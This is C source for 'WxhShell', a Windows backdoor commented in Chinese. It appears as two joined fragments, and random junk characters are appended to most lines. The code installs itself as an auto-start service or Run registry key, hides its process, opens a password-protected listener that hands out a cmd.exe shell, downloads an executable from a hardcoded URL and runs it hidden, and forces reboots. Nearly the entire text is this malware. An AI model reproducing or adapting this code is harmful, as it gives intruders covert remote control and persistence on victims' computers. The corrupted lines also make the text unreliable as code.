  case 'd': { vG`R.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _ #288`bU  
    if(Boot(SHUTDOWN)) .YKqYN?y4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C vfm ,BL  
    else { dp\pkx7  
    closesocket(wsh); WDNuR #J?  
    ExitThread(0); =t\HtAXn[  
    } $q);xs  
    break; +K,]#$k  
    } P#]%C  
  // 获取shell u snbGkq  
  case 's': { IF YGl  
    CmdShell(wsh); G]X72R?g  
    closesocket(wsh); E+k#1c|v$  
    ExitThread(0); EH<rUv63  
    break; eSHyA+ F  
  } _"%mLH=!8  
  // 退出 TC;2K,.#k  
  case 'x': { 4Z5ZV!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9#L0Q%,*  
    CloseIt(wsh); 9E~=/Q=  
    break; #u`i4  
    } {0 d/;  
  // 离开 cl:h 'aG  
  case 'q': { .I_Mmaq;i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ('QfB<4H1  
    closesocket(wsh); `2Rd=M]?  
    WSACleanup(); U<QO@5  
    exit(1); 60(j[d-$p  
    break; 6OuB}*  
        } E-\Wo3  
  } E9JxntX  
  } _0p8FhNt  
{3cT\u  
  // 提示信息 yU]NgG=z:-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /@-!JF#g  
} Ey7SQb  
  } IIcG+zwx  
Gv?3T Am8  
  return; ;5QdT{$H  
} Y@N-q   
sw A^oU  
// shell模块句柄 jz;N&62|  
int CmdShell(SOCKET sock) 1{{z[w#  
{ ZqH.$nXP  
STARTUPINFO si; NN\>( =  
ZeroMemory(&si,sizeof(si)); ]/&qv6D*d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CR3<9=Lv>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DtLga[M  
PROCESS_INFORMATION ProcessInfo; VJquB8?H  
char cmdline[]="cmd"; %" kF i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w@,Yj#_9cx  
  return 0; ;cKN5#7  
} R"%zmA@o=  
hq[;QF:B  
// 自身启动模式 }n/6.%  
int StartFromService(void) W u?A} fH  
{ !c+,OU[  
typedef struct EY'kIVk  
{ /Ilve U`E  
  DWORD ExitStatus; H8@1Kt  
  DWORD PebBaseAddress; x-J.*X/aB  
  DWORD AffinityMask; !0i6:2nw  
  DWORD BasePriority; i[,9hp  
  ULONG UniqueProcessId; }o^VEJc`O  
  ULONG InheritedFromUniqueProcessId; KU:RS+,e;  
}   PROCESS_BASIC_INFORMATION; mN+ w,  
Uj]Tdg  
PROCNTQSIP NtQueryInformationProcess; 5qZebD2a  
zpi Q;P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n$]78\C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2Iv&XxSo  
vKrOIBP  
  HANDLE             hProcess; v__n>*x  
  PROCESS_BASIC_INFORMATION pbi; 3azyqpwU$  
|qe[`x; %  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G':wJ7[]`  
  if(NULL == hInst ) return 0; lRb|GS.h/  
y~eQVnH5W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &!Sq6<!v2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W&MZ5t,k=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BJA&{DMHm  
[{R^!Az&b<  
  if (!NtQueryInformationProcess) return 0; *nZe|)m  
Wgp}v93  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?fv5KdD  
  if(!hProcess) return 0; VS.~gHx  
Jkf%k3H3I*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H{yUKZH*  
%0-fn'  
  CloseHandle(hProcess); \mGx-g6  
:'hc&wk`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7I\qEr57  
if(hProcess==NULL) return 0; {nQ?+o3  
2H\ }N^;f  
HMODULE hMod;  8kn> ?  
char procName[255]; aL?+# j^"  
unsigned long cbNeeded; /?(\6Z_A  
6b!F7ky g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tNk.|}  
GhlbYa  
  CloseHandle(hProcess); 0Ncx':]5  
|j2b=0Rpk  
if(strstr(procName,"services")) return 1; // 以服务启动 UQ[!k 6  
hD)'bd  
  return 0; // 注册表启动 `LroH>_  
} p"l GR&b  
MZ$x(Vcj  
// 主模块 5f#N$mh  
int StartWxhshell(LPSTR lpCmdLine) c\P,ct }>  
{ X%>n vp  
  SOCKET wsl; -q&K9ZCl `  
BOOL val=TRUE; r^g"%nq9/  
  int port=0; 9K4]~_%h\  
  struct sockaddr_in door; As}3VBd  
?ZF ~U  
  if(wscfg.ws_autoins) Install(); {e35O(Y  
\}Hi\k+h':  
port=atoi(lpCmdLine); >_3P6-L>  
,_wpYTl*X  
if(port<=0) port=wscfg.ws_port; H^TU?vz} <  
%2q0lFdcM  
  WSADATA data; ?:$aX@r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '}$]V>/  
r(qw zUI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $l W 7me  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iNO}</7?  
  door.sin_family = AF_INET; v~B "Il  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )I{~Pcq  
  door.sin_port = htons(port); s* ;rt  
Z=KHsMnB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \86:f<)P  
closesocket(wsl); GZq~Pl  
return 1; - f&m4J} E  
} #TUuk  
f)_k_<  
  if(listen(wsl,2) == INVALID_SOCKET) { g6D7Y<}d  
closesocket(wsl); JLz.lk*.  
return 1; |XrGf2P9u  
} :q>uj5%  
  Wxhshell(wsl); p~A6:"8s`=  
  WSACleanup(); h 2QJQ|7a  
7QX p\<7  
return 0; Jx+e_k$gHO  
nSSj&q-O  
} C CDO8  
dEu\}y|  
// 以NT服务方式启动 &_1x-@oI2:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R9q9cB i3  
{ y 1I(^<qO=  
DWORD   status = 0; 8 *Y(wqH  
  DWORD   specificError = 0xfffffff; HKXtS>7d  
Z@ dS,M*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hY(q@_s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #qcF2&a%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c,,(s{1  
  serviceStatus.dwWin32ExitCode     = 0; -s_=4U,  
  serviceStatus.dwServiceSpecificExitCode = 0; oC  }  
  serviceStatus.dwCheckPoint       = 0; vEZd;40y  
  serviceStatus.dwWaitHint       = 0; XS_Ib\-50  
v(GT+i)|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qX"m"ko  
  if (hServiceStatusHandle==0) return; c#L.I  
b~td ^  
status = GetLastError(); sUl _W"aQ  
  if (status!=NO_ERROR) 95IR.Qfn!  
{ Rq[VP#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B*;PF  
    serviceStatus.dwCheckPoint       = 0; U|jip1\  
    serviceStatus.dwWaitHint       = 0; EmYu]"${1  
    serviceStatus.dwWin32ExitCode     = status; ;\],R.!  
    serviceStatus.dwServiceSpecificExitCode = specificError; E]gy5y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3d;w\#? L;  
    return; /4Sul*{hc  
  } _08y; _S  
b/g~;| <  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &eIwlynm  
  serviceStatus.dwCheckPoint       = 0; f1wwx|b%.  
  serviceStatus.dwWaitHint       = 0; O|e/(s?$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W*Gp0pX  
} N 6t`45  
m^%Xl@V:c-  
// 处理NT服务事件,比如:启动、停止 @~j- -L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OlcWptM$  
{ (U_dPf  
switch(fdwControl) =|O><O|  
{ "tUc  
case SERVICE_CONTROL_STOP: " o>` Y  
  serviceStatus.dwWin32ExitCode = 0; y"nL9r.,:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,0^9VWZV  
  serviceStatus.dwCheckPoint   = 0; 5cZKk/"Ad}  
  serviceStatus.dwWaitHint     = 0; KKGwMJku}  
  { |n~Vpy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K-6+fgeB  
  } lj+}5ySG/  
  return; E[8i$  
case SERVICE_CONTROL_PAUSE: #(dERET*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F m$;p6&j  
  break; ^!x}e+ o  
case SERVICE_CONTROL_CONTINUE: c]3^2Ag,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W't.e0L<6  
  break;  rT!9{uK  
case SERVICE_CONTROL_INTERROGATE: an` GY&  
  break; |7:{vA5  
}; q@ %9Y3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D]zpG  
} ?{KC@c*c  
Jo9!:2?  
// 标准应用程序主函数 jKhj 7dR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EC f $  
{ eSA%:Is.  
/GU%{nT  
// 获取操作系统版本 H\RuYCn2G  
OsIsNt=GetOsVer(); F^}n7h=qk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V~ [I /Vi  
1Jn:huV2  
  // 从命令行安装 Xb5 $ijH  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]M.)N.T  
((E5w:=?  
  // 下载执行文件 }ej-Lu,b3  
if(wscfg.ws_downexe) { *+>R^\uT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5c+7c@.  
  WinExec(wscfg.ws_filenam,SW_HIDE); t.]c44RY  
} r/B iR0$E  
h| ]BA}D  
if(!OsIsNt) { RWK##VHK  
// 如果时win9x,隐藏进程并且设置为注册表启动 SPY4l*kX  
HideProc(); f')3~)"  
StartWxhshell(lpCmdLine); iT"H%{+~  
} liG3   
else '<KzWxuC  
  if(StartFromService()) K)n0?Q_>  
  // 以服务方式启动 pgU4>tyD  
  StartServiceCtrlDispatcher(DispatchTable); -Drm4sTpDb  
else lL6qK&;  
  // 普通方式启动 J"O#w BM9  
  StartWxhshell(lpCmdLine); j,CMcP7A -  
Mb[4G>-v=  
return 0; >6cENe_@t  
} ^"\., Y  
H=k`7YN  
MB] Y|Vee  
) bPF@'rF2  
=========================================== -"Q[n,"Y  
Le':b2o  
B\ a#Vtyut  
 !B\[Q$  
L~~Dj:%uq  
gH zjI[WI  
" L7qlvS Q  
R WU,v{I9  
#include <stdio.h> qnZ`]?  
#include <string.h> ;o0o6pF  
#include <windows.h> c&T14!lfn  
#include <winsock2.h> |~3$L\X  
#include <winsvc.h> Q`X5W  
#include <urlmon.h> N~A#itmdx  
k<3 _!?3  
#pragma comment (lib, "Ws2_32.lib") R(sa.Q\D4  
#pragma comment (lib, "urlmon.lib") r ,,A%  
G ]mX+?  
#define MAX_USER   100 // 最大客户端连接数 .cX,"2;n  
#define BUF_SOCK   200 // sock buffer P!)k4n  
#define KEY_BUFF   255 // 输入 buffer hrr;=q$  
E~|`Q6&Y  
#define REBOOT     0   // 重启 i|Y_X  
#define SHUTDOWN   1   // 关机 =7Y gES  
4$+9k;m'  
#define DEF_PORT   5000 // 监听端口 <AB.`["  
Q,A`"e#:  
#define REG_LEN     16   // 注册表键长度 iAlFgOk'  
#define SVC_LEN     80   // NT服务名长度 V6ioQx=K#  
NX*9nwp^  
// 从dll定义API Eh)VU_D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "rA: ;ntz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ljrA^P ,>P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?ixzlDto\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #2!M+S  
{l7@<xZ??M  
// wxhshell配置信息 I({ 7a i  
struct WSCFG { \..(!>,%F  
  int ws_port;         // 监听端口 It\o b7n  
  char ws_passstr[REG_LEN]; // 口令 {M?!nS6t  
  int ws_autoins;       // 安装标记, 1=yes 0=no zA/W+j$:  
  char ws_regname[REG_LEN]; // 注册表键名 pPG@_9qf  
  char ws_svcname[REG_LEN]; // 服务名 `|^<y.-6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E4'D4@\W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '#.:%4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rS 4'@a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ka&-tGg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uXNf)?MpA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VM3H&$d(h  
Vy:ER  
}; NB&u^8b  
| We @p  
// default Wxhshell configuration e-o s0F  
struct WSCFG wscfg={DEF_PORT, 1*x4T%RF$  
    "xuhuanlingzhe", +Hb6j02#  
    1, m(3bO[u1  
    "Wxhshell",  1Nk}W!v  
    "Wxhshell", (t9qwSS8z  
            "WxhShell Service", {fMrx1  
    "Wrsky Windows CmdShell Service", 'ej{B0rE  
    "Please Input Your Password: ", Sg<''pUh  
  1, [<sBnHbvQ.  
  "http://www.wrsky.com/wxhshell.exe", ++13m*fA  
  "Wxhshell.exe" ':!;6v|L  
    }; uu>[WFh  
'eo2a&S2D  
// 消息定义模块 00G[ `a5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QLH s 3eM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ii*Ty!Sa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i c]f o  
char *msg_ws_ext="\n\rExit."; *qG=p`  
char *msg_ws_end="\n\rQuit.";  j>s%q .  
char *msg_ws_boot="\n\rReboot..."; P N_QK Z  
char *msg_ws_poff="\n\rShutdown..."; Y#6@0Nn[G  
char *msg_ws_down="\n\rSave to "; ^D B0C  
;<q@>p[  
char *msg_ws_err="\n\rErr!"; /:e|B;P`k  
char *msg_ws_ok="\n\rOK!"; {F k]X#j  
F,O+axO ja  
char ExeFile[MAX_PATH]; )}c$n  
int nUser = 0; +X;6%O;  
HANDLE handles[MAX_USER]; DI}h?Uf ,  
int OsIsNt; !T0IMI  
RkLH}`#  
SERVICE_STATUS       serviceStatus; XR\ iQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hBE}?J>  
IHo6&  
// 函数声明 %1HW ) 7  
int Install(void); xm YA/wt8  
int Uninstall(void); cp?`\P  
int DownloadFile(char *sURL, SOCKET wsh); mc(&'U8R0I  
int Boot(int flag); YQN=.Wtc  
void HideProc(void); J&a887  
int GetOsVer(void); =WEfo;  
int Wxhshell(SOCKET wsl); ;gm){ g  
void TalkWithClient(void *cs); &r<<4J(t  
int CmdShell(SOCKET sock); 8`VMdo9  
int StartFromService(void); \hM6 ykY-  
int StartWxhshell(LPSTR lpCmdLine); >uOc#+5M.  
v& XG4 &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4g1u9Sc0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K)Db3JIIk  
Ca BTqo  
// 数据结构和表定义 ooZ7HTP|  
SERVICE_TABLE_ENTRY DispatchTable[] = $z mES tcm  
{ 2z[Pw0#V  
{wscfg.ws_svcname, NTServiceMain}, FcW ?([l  
{NULL, NULL} %k$C   
}; TTE#7\K~B  
+]]wf'w  
// 自我安装 g'Xl>q  
int Install(void) c= a+7>  
{ T>uLqd{hH  
  char svExeFile[MAX_PATH]; )cqhbR  
  HKEY key; )edM@beY_  
  strcpy(svExeFile,ExeFile); }(tGjx]  
yJp& A  
// 如果是win9x系统,修改注册表设为自启动 W: ?-d{  
if(!OsIsNt) { ZTmdS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ',!#?aGV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2qr%xK'^B  
  RegCloseKey(key); N'`*#UI+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n1ED _9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6:EO  
  RegCloseKey(key); 7GP?;P  
  return 0; <01B\t7  
    } ufR |  
  } [ objdQU`  
} ^5T{x>Lj  
else { e2*^;&|%  
IeU.T@ $  
// 如果是NT以上系统,安装为系统服务 x9_ Lt4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `a6;*r y  
if (schSCManager!=0) tcX7Ua(I`  
{ 95!xTf  
  SC_HANDLE schService = CreateService "Z{^i3 gN  
  ( v;$^1I  
  schSCManager, nlmkkTHF8  
  wscfg.ws_svcname, I'@ }Yjm|  
  wscfg.ws_svcdisp, @s IZ  
  SERVICE_ALL_ACCESS, DSjo%Brd-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q$t& *O_  
  SERVICE_AUTO_START, 0Hz3nd?v  
  SERVICE_ERROR_NORMAL, }]s~L9_z['  
  svExeFile, *TXq/ 3g  
  NULL, R*[ACpxr  
  NULL, gR(c;  
  NULL, KcU,RTE  
  NULL, =;{S>P!I(t  
  NULL cKfYkJ)A'  
  ); m|7g{vHVV  
  if (schService!=0) NFSPw` f  
  { u51/B:+   
  CloseServiceHandle(schService); hNoN=J  
  CloseServiceHandle(schSCManager); ^Ue.9#9T&g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c"z%AzUV'  
  strcat(svExeFile,wscfg.ws_svcname); 9/%|#b-z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N4Lk3]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZE\t{s0  
  RegCloseKey(key); _N]yI0k(  
  return 0; ,H%\+yn{  
    } cQ8:;-M   
  } y1'/@A1  
  CloseServiceHandle(schSCManager); 53T2w,?  
} OS9v.pz  
} [)Ge^yI7  
r"Bf@va  
return 1; zyR pHM$E  
} C}>&#)IH  
YG8oy!Zl  
// 自我卸载 zV &3l9?U  
int Uninstall(void) 9e=*jRs]l^  
{ zR .MXr  
  HKEY key; 7RLh#D|  
]S[r$<r$  
if(!OsIsNt) { xl9l>k6,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lxd<^R3i#^  
  RegDeleteValue(key,wscfg.ws_regname); dg!sRm1iZ:  
  RegCloseKey(key); UEeqk"t^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uJO*aA{K  
  RegDeleteValue(key,wscfg.ws_regname); 2<O8=I _  
  RegCloseKey(key); f6"j-IW[z  
  return 0; us cR/d  
  } E.6\(^g  
} }n=NHHtJ  
} bk?\=4B:E  
else { y,x~S\>+  
) )F.|w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O>Sbb2q?"  
if (schSCManager!=0) QCo^#-   
{ =,'Z6?%p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gMvvDP!Wp  
  if (schService!=0) pE< ' '`  
  { F,zJdJ  
  if(DeleteService(schService)!=0) { |<V{$),k  
  CloseServiceHandle(schService); !+6l.`2WI  
  CloseServiceHandle(schSCManager); 0%t|?@HoN  
  return 0; xH0/R LK3J  
  } 3q>"#+R.t  
  CloseServiceHandle(schService); ,*4"d._Y  
  } NLpD,q{  
  CloseServiceHandle(schSCManager); [Ok8l='  
} >H1d9y +Z  
} s`B'vyoaa  
?*@h]4+k'  
return 1; dF,FH-  
} \f  LBw0  
C;5}/J^E  
// 从指定url下载文件 1fy{@j(W  
int DownloadFile(char *sURL, SOCKET wsh) UE4#j \  
{ pUr[MnQLf  
  HRESULT hr; 7" [;M  
char seps[]= "/"; LZVO9e]  
char *token; x\DkS,O  
char *file; ' 7A7HDJ  
char myURL[MAX_PATH]; 0o]K6 b  
char myFILE[MAX_PATH]; >+#[O"  
JW\"S  
strcpy(myURL,sURL); ,2`d3u^CW  
  token=strtok(myURL,seps);  {5udol5?  
  while(token!=NULL) jveRiW@  
  { ~roHnJ>  
    file=token; k +Oq$Pi  
  token=strtok(NULL,seps); {dwV-qz  
  } q T].,?  
l)8V:MK  
GetCurrentDirectory(MAX_PATH,myFILE); -?RQ%Ue  
strcat(myFILE, "\\"); s]iOC6v  
strcat(myFILE, file); @_Zx'mTI  
  send(wsh,myFILE,strlen(myFILE),0); ,ln uu  
send(wsh,"...",3,0); yFt7fdl2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DX"; v J  
  if(hr==S_OK) zEW:Xe)  
return 0; K*9b `%  
else =;H'~  
return 1; %\cC]<>  
@nP}q!y  
} o FLrSmY)E  
1aE/_  
// 系统电源模块 q UnFEg  
int Boot(int flag) FQFENq''B  
{ ej;ta Kzj  
  HANDLE hToken; pJz8e&wyLM  
  TOKEN_PRIVILEGES tkp; zmFFBf"<  
o0'av+e7  
  if(OsIsNt) { \bOjb\ w$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fF("c6:w(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j,xPN=+hT  
    tkp.PrivilegeCount = 1; }gW/heUE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w8 $Qh%J'<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6iG<"{/U5  
if(flag==REBOOT) { O+?zn:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kPH^X}O$  
  return 0; v8Zg og)V  
}  >Gu0&  
else { ,NEs{! T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3kCbD=yF  
  return 0; `4 bd,  
} #!jRY!2Vt  
  } >!1f`  
  else { Rda1X~-g  
if(flag==REBOOT) { e<4z)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?+5{HFx  
  return 0; :dN35Y]a  
} !&O/7ywe  
else { A#X.c=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *BsDHq-F~  
  return 0; C|\^uR0  
} d~jtWd|?  
} aT#{t {gkA  
hPz df*(8  
return 1; S=,1} XZ  
} J'yN' 0  
'w[d^L   
// win9x进程隐藏模块 $`{q[{  
void HideProc(void) {@5WeWlz~  
{ cWO )QIE  
@$d\5Q(G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i\;&CzC:  
  if ( hKernel != NULL ) `E=rh3 L0o  
  { `^L<db^A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \>Rwg=Lh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .)> /!|i  
    FreeLibrary(hKernel); N&APqT  
  } {(}w4.!  
~'J =!Xy  
return; LGROEn<*d  
} i?>> 9f@F  
CQ.4,S}6'  
// 获取操作系统版本 Y-q@~v Z]  
int GetOsVer(void) O2]r]9sh*  
{ = 6<w'>  
  OSVERSIONINFO winfo; ;b?+:L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &8+6!TN7  
  GetVersionEx(&winfo); V-;nj,.mY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3B".Gsm)X  
  return 1; v* ~%x  
  else CY3\:D0I  
  return 0; 8[1DO1*P  
} mK40 f  
^lai!uZVa  
// 客户端句柄模块 LnTe_Q7_  
int Wxhshell(SOCKET wsl) @MZ6E$I  
{ x;FO|fH  
  SOCKET wsh; mnQjX ?  
  struct sockaddr_in client; QP5:M!O<)  
  DWORD myID; xrVZxK:!  
S~rVRC"<xo  
  while(nUser<MAX_USER) aC yb-P  
{ V,XP&,no\j  
  int nSize=sizeof(client); Z#Zzi5<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4zqE?$HM'  
  if(wsh==INVALID_SOCKET) return 1; \kV7NA  
uP{+?#a_-\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P}+|`>L  
if(handles[nUser]==0) }'V'Y[  
  closesocket(wsh); ,rFLpQl  
else vg:J#M:  
  nUser++; ro&Y7m  
  } M-Z6TL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $sc8)d\B  
r,.95@  
  return 0; J;=aIiN]R  
} av; (b3Lq  
)_ b@~fC  
// 关闭 socket '5xuT _  
void CloseIt(SOCKET wsh) Ec*--]j*c  
{ y>7VxX0xi  
closesocket(wsh); <Xs @ \  
nUser--; ?%dCU~ z  
ExitThread(0); bpF@}#fT  
} ( #-=y~%  
/[|}rqX(  
// 客户端请求句柄 GATP  
void TalkWithClient(void *cs) UQ$\ an'  
{ ;%rs{XO9  
oX 2DFgz  
  SOCKET wsh=(SOCKET)cs; oj^5G ]_ <  
  char pwd[SVC_LEN]; KSgQ:_u4}  
  char cmd[KEY_BUFF]; W -C0 YU1  
char chr[1]; [2QY  
int i,j; N}+B:l]Qy  
P96Cw~<Q?  
  while (nUser < MAX_USER) { `z$uw  
v;bM.OL  
if(wscfg.ws_passstr) { -Ty<9(~S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EAC(^+15K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uF]D  
  //ZeroMemory(pwd,KEY_BUFF); #>E3'5b   
      i=0; Y1yXB).AH8  
  while(i<SVC_LEN) { f^6&Fb>  
 g`)/x\  
  // 设置超时 (Y'UvZlM%P  
  fd_set FdRead; \2gvp6  
  struct timeval TimeOut; E2qB:  
  FD_ZERO(&FdRead); z6FbM^;;  
  FD_SET(wsh,&FdRead); Pa +AF  
  TimeOut.tv_sec=8; "]SJbuzh  
  TimeOut.tv_usec=0; gQI(=in  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tv@Z 5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6z p@#vYI  
6"7:44O;G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (!_X:+0_  
  pwd=chr[0]; r>@ B+Xi  
  if(chr[0]==0xd || chr[0]==0xa) { sxN>+v11z  
  pwd=0; c ?p0#3%L#  
  break; 1%SJ1oY  
  } |~/3u/  
  i++;  +eDN,iv  
    } s]F?=yEp  
iJCY /*C}  
  // 如果是非法用户,关闭 socket vGPf`2/j.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ub zb  
} {h vQ<7b  
fz<|+(_>J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EBj,pk5M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XDP6T"h  
r|\5'ZMx  
while(1) { %67G]?EXB  
?b*/ddIs  
  ZeroMemory(cmd,KEY_BUFF); EaM"=g  
 r21?c|IP  
      // 自动支持客户端 telnet标准   dr,B\.|jC  
  j=0; D% v:PYf  
  while(j<KEY_BUFF) { FhY{;-W(T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _q$0lqq~u  
  cmd[j]=chr[0]; %2@ Tj}xa  
  if(chr[0]==0xa || chr[0]==0xd) { |z!q r}i  
  cmd[j]=0; S|{Yvyp  
  break; {UX"Epd);n  
  } 5bF9I H  
  j++; ]689Q%D  
    } G_2gKkIK-  
DGa#d_I  
  // 下载文件 ~J:$gu~`  
  if(strstr(cmd,"http://")) { L;.VEz!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -A~;MGY  
  if(DownloadFile(cmd,wsh)) Z%Tq1O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a!c/5)v(  
  else d{iu+=NXz  
